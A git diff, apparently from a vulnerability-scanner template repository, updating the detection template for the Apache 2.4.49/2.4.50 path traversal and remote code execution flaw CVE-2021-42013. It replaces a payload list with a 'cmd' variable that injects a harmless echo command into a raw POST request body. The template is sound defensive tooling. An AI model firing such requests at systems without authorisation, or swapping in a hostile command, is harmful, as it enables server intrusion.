Update CVE-2021-42013.yaml
parent
86376a976c
commit
2ff98d6879
|
@ -2,7 +2,7 @@ id: CVE-2021-42013
|
||||||
|
|
||||||
info:
|
info:
|
||||||
name: Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
|
name: Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
|
||||||
author: nvn1729,0xd0ff9
|
author: nvn1729,0xd0ff9,666asd
|
||||||
severity: critical
|
severity: critical
|
||||||
description: |
|
description: |
|
||||||
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
|
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
|
||||||
|
@ -17,8 +17,13 @@ info:
|
||||||
cvss-score: 9.8
|
cvss-score: 9.8
|
||||||
cve-id: CVE-2021-42013
|
cve-id: CVE-2021-42013
|
||||||
cwe-id: CWE-22
|
cwe-id: CWE-22
|
||||||
|
metadata:
|
||||||
|
verified: true
|
||||||
tags: cve,cve2021,lfi,apache,rce,misconfig,traversal,kev
|
tags: cve,cve2021,lfi,apache,rce,misconfig,traversal,kev
|
||||||
|
|
||||||
|
variables:
|
||||||
|
cmd: "echo COP-37714-1202-EVC | rev"
|
||||||
|
|
||||||
requests:
|
requests:
|
||||||
- raw:
|
- raw:
|
||||||
- |+
|
- |+
|
||||||
|
@ -36,13 +41,10 @@ requests:
|
||||||
Host: {{Hostname}}
|
Host: {{Hostname}}
|
||||||
Origin: {{BaseURL}}
|
Origin: {{BaseURL}}
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
Content-Length: {{len('{{RCEPayload}}')}}
|
|
||||||
|
|
||||||
{{RCEPayload}}
|
echo Echo: CVE-2021-42013; echo; {{cmd}};
|
||||||
|
|
||||||
payloads:
|
stop-at-first-match: true
|
||||||
RCEPayload:
|
|
||||||
- "echo Echo: CVE-2021-42013; echo; echo 31024-1202-EVC | rev;"
|
|
||||||
unsafe: true
|
unsafe: true
|
||||||
matchers-condition: or
|
matchers-condition: or
|
||||||
matchers:
|
matchers:
|
||||||
|
|
Loading…
Reference in New Issue